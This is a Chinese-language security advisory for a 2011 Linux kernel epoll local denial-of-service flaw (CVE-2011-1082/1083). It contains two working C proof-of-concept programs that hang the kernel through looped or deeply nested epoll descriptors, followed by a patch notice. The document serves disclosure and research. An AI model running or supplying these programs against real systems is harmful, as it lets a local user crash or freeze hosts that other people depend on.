发布日期:2011-03-02
更新日期:2012-02-22
受影响系统:
Linux kernel < 2.6.38
描述:
--------------------------------------------------------------------------------
BUGTRAQ ID: 46630
CVE ID: CVE-2011-1082,CVE-2011-1083
Linux Kernel是Linux操作系统的内核。
Linux Kernel 2.6.38之前版本的fs/eventpoll.c在epoll子系统的实现上存在本地拒绝服务安全漏洞,将epoll文件描述符放置在其他epoll数据结构中,没有检查已关闭的循环或深链接,攻击者可利用此漏洞造成拒绝服务。
<*来源:Nelson Elhage (nelhage@mit.edu)
链接:
*>
测试方法:
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
Nelson Elhage (nelhage@mit.edu)提供了如下测试方法:
#include <unistd.h>
#include <sys/epoll.h>
int main(void) {
int e1, e2, p[2];
struct epoll_event evt = {
.events = EPOLLIN
};
e1 = epoll_create(1);
e2 = epoll_create(2);
pipe(p);
epoll_ctl(e2, EPOLL_CTL_ADD, e1, &evt);
epoll_ctl(e1, EPOLL_CTL_ADD, p[0], &evt);
write(p[1], p, sizeof p);
epoll_ctl(e1, EPOLL_CTL_ADD, e2, &evt);
return 0;
}
#include <unistd.h>
#include <sys/epoll.h>
#include <sys/time.h>
#include <stdio.h>
#define SIZE 250
int main(void) {
int links[SIZE];
int links2[SIZE];
int links3[SIZE];
int links4[SIZE];
int i, j;
int ret;
int ep1, ep2;
struct timeval start, end;
struct epoll_event evt = {
.events = EPOLLIN
};
ep1 = epoll_create(1);
for (i = 0; i < SIZE; i++) {
links[i] = epoll_create(1);
ret = epoll_ctl(ep1, EPOLL_CTL_ADD, links[i], &evt);
if (ret)
perror("error 1");
}
for (i = 0; i < SIZE; i++) {
links2[i] = epoll_create(1);
for (j = 0; j < SIZE; j++) {
epoll_ctl(links[j], EPOLL_CTL_ADD, links2[i], &evt);
if (ret)
perror("error 2");
}
}
for (i = 0; i < SIZE; i++) {
links3[i] = epoll_create(1);
for (j = 0; j < SIZE; j++) {
epoll_ctl(links2[j], EPOLL_CTL_ADD, links3[i], &evt);
if (ret)
perror("error 3");
}
}
for (i = 0; i < SIZE; i++) {
links4[i] = epoll_create(1);
for (j = 0; j < SIZE; j++) {
epoll_ctl(links3[j], EPOLL_CTL_ADD, links4[i], &evt);
if (ret)
perror("error 4");
}
}
ep2 = epoll_create(1);
gettimeofday(&start, NULL);
ret = epoll_ctl(ep2, EPOLL_CTL_ADD, ep1, &evt);
/* creates a loop */
//ret = epoll_ctl(links4[499], EPOLL_CTL_ADD, ep1, &evt);
if (ret)
perror("error 5");
gettimeofday(&end, NULL);
printf("%ld\n", ((end.tv_sec * 1000000 + end.tv_usec)
- (start.tv_sec * 1000000 + start.tv_usec)));
return 0;
}
建议:
--------------------------------------------------------------------------------
厂商补丁:
Linux
-----
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载: